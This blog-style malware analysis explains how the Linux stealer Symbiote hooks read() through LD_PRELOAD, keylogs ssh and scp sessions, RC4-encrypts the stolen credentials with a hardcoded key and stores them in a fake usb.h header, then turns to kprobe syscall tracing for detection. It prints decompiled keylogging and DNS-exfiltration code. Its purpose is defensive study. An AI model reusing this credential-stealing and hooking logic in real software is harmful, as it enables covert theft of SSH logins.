Let's Detect - Symbiote

Quick Overview

Symbiote is a credential stealer, all it is doing is hooking functions, keylogging SSH processes, saving the keylogged credentials with an RC4 encryption using a hardcoded value, and then saving them to a file. It exfiltrates through a DNS channel, but due to the LD_PRELOAD hooks, it can hide it's traffic from being shown in /proc/net/tcp

We will mainly focus on it's creation of a the file it uses to save these credentials for the sake of the demo.

Background

Symbiote was a new malware strain caught by Blackberry that went undetected for a long time due to it's ability to inject BPF byte code to socket filters, causing it to hide it's network traffic. Now, although this particular technique seems to be "novel", it also used a trivial method of infection: the classic LD_PRELOAD trick.

Historically LD_PRELOAD has been used and abused by countless cool hacker kids. The premise of the attack is that when one creates their own custom .so file and loads it into the LD_PRELOAD environment variable, the .so file in the path will be loaded first by the linker. Now when a program is compiled and the linker adds our malicious library, our own functions will be called first, given us the ability to do anything we choose to.

This technique is popular for it's simplicity. With the built-in bash commands, one is able to export the environment variable (LD_PRELOAD) and set to any .so file, but due to the fact it is built-in, the process of editing the variables is passed through memory of the bash process and is inherited by it's children. There are no direct syscalls being employed here, so there will have to be a higher level method of detection for this.

Luckily, Symbiote uses other methods that do use syscalls that we are able to probe.

(These cBPF tricks aren't new, but they are becoming increasingly popular with malware authors.)

Exfil Flow

During the CTOR stages, init_method is called, this function does a name check of the process calling read(), if the process is ssh or scp, then hook_read calls keylogger, otherwise it passes the legitimate function.

void init_method(void)

{
  int iVar1;
  
  orig_read = (code *)dlsym(0xffffffffffffffff,&DAT_00103264);
  iVar1 = check_ssh_scp(); // Checks process name, if SSH or SCP, then true.
  if (iVar1 == 0) {
    hook_read = keylogger; // If true, passes to keylogger
  }
  else {
    hook_read = orig_read; // Else, passes to origianl function
  return;
}
~     

keylogger is trivial keylogging function, I shortened the function to save space, but kept our main focus. Symbiote uses a few different methods of concealing itself. This method it creates a fake header file within the usb/ folder in order to conceal itself.

long keylogger(int param_1,long param_2,undefined8 param_3)

{
...
        if (__s_01 != (char *)0x0) {
          snprintf(__s_01,local_30,"%s|%s|%s\n",__s,pw.5673,__s_00);
          saveline("/usr/include/linux/usb/usb.h",__s_01); // Save keylogged credentials into new
          erasefree(__s_01);                               // file usb.h
        }
...
}

The following function is then used to encrypt the keylogged credentials, you can see the hardcoded value suporte42atendimento53log (that's some good malware). Now, in order it to create the file it needs to call open(), so this gives us a syscall to probe.

void saveline(char *param_1,char *param_2,undefined8 param_3,uchar *param_4)

{
  int __fd;
  size_t sVar1;
  int local_20;
  int local_1c;

  sVar1 = strlen(param_2);
  RC4((RC4_KEY *)"suporte42atendimento53log",(size_t)param_2,(uchar *)(sVar1 & 0xffffffff),param_4);
  sendlinedns(param_2,sVar1 & 0xffffffff);
  RC4((RC4_KEY *)"suporte42atendimento53log",(size_t)param_2,(uchar *)(sVar1 & 0xffffffff),param_4);
  create_file(param_1);
  __fd = open(param_1,0x401,0x1b6);
  if (__fd != -1) {
    fchmod(__fd,0x1b6);
    local_1c = 0;
    for (local_20 = 0; param_2[local_20] != '\0'; local_20 = local_20 + 1) {
      if (local_1c == 0x19) {
        local_1c = 0;
      }
      param_2[local_20] = "suporte42atendimento53log"[local_1c] ^ param_2[local_20];
      local_1c = local_1c + 1;
    }
    write(__fd,&DAT_001032bd,4);
    write(__fd,param_2,(long)local_20);
    close(__fd);
  }
  return;
}

Tracing Syscalls

Ok, so now that we have a reasonable understanding of what Symbiote is doing, let's try to now create a method of detecting this functionality.

Kprobes

Kprobes are a nice mechanism for tracing. It resides within the kernel as a registered module. It creates a copy of the probed instruction and replaces the first bytes with a breakpoint instruction. When the CPU hits the breakpoint, a trap occurs, then the registers are saved and control is passed over to kprobes. It single-steps it's copy of the instruction, after this is done, kprobe then calls post_handler to clean up and continues execution of the probed instruction.

It requires some management.

extern struct file *do_filp_open(int dfd, struct filename *pathname, const struct open_flags *op);